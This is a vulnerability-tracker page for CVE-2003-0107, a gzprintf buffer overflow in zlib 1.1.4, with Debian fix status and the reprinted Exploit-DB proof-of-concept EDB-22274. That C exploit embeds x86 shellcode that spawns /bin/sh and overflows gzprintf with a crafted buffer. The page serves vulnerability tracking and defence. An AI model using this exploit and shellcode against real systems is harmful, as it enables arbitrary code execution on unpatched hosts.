CVE-2003-0107

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Buffer overflow in the gzprintf function in zlib 1.1.4, when zlib is compiled without vsnprintf or when long inputs are truncated using vsnprintf, allows attackers to cause a denial of service or possibly execute arbitrary code.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-22273 dos linux verified
Richard Kettlewel · 2003-02-23

Zlib 1.1.4 - Compression Library 'gzprintf()' Buffer Overrun (1)

Source code queued for fetch — refresh in a moment.
EDB-22274 remote linux verified c · 2 KB
CrZ · 2003-02-23

Zlib 1.1.4 - Compression Library 'gzprintf()' Buffer Overrun (2)

c exploit Source: Exploit-DB
// source: https://www.securityfocus.com/bid/6913/info
 
A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function.
 
Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions.
 
Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected. 

C local exploit for zlib <= 1.1.4
/      just for fun..not for root :)
\
/   Usage: gcc -o zlib zlib.c -lz
\
/   by CrZ [crazy_einstein@yahoo.com] lbyte
[lbyte.void.ru]
*/


#include <zlib.h>
#include <errno.h>
#include <stdio.h>


int main(int argc, char **argv) {
        char shell[]=
                "\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
                "\xc0\x88\x43\x07\x89\x5b\x08\x89"
                "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
                "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
                "/bin/sh";
        gzFile f;
        int ret;
        long xret;
        char cret[10];
        char badbuff[10000];
        int i;

        sprintf(badbuff,"%p",shell);
        sscanf(badbuff,"0x%x",&xret);

        printf("[>] exploiting...\n");

        if(!(f = gzopen("/dev/null", "w"))) {
                perror("/dev/null");
                exit(1);
        }

        printf("[>] xret = 0x%x\n",xret);


sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff,

(xret>>16)&0xff,(xret>>24)&0xff);

        bzero(badbuff,sizeof(badbuff));

        for(i=0;i<5000;i+=4) strcat(badbuff,cret);

        setuid(0);
        setgid(0);
        ret = gzprintf(stderr, "%s", badbuff );
        setuid(0);
        setgid(0);
        printf(">Sent!..\n");
        printf("gzprintf -> %d\n", ret);
        ret = gzclose(f);
        printf("gzclose -> %d [%d]\n", ret, errno);

        exit(0);
}

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1:1.1.4-10
sid Fixed 1:1.1.4-10
forky Fixed 1:1.1.4-10
bullseye Fixed 1:1.1.4-10
bookworm Fixed 1:1.1.4-10

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.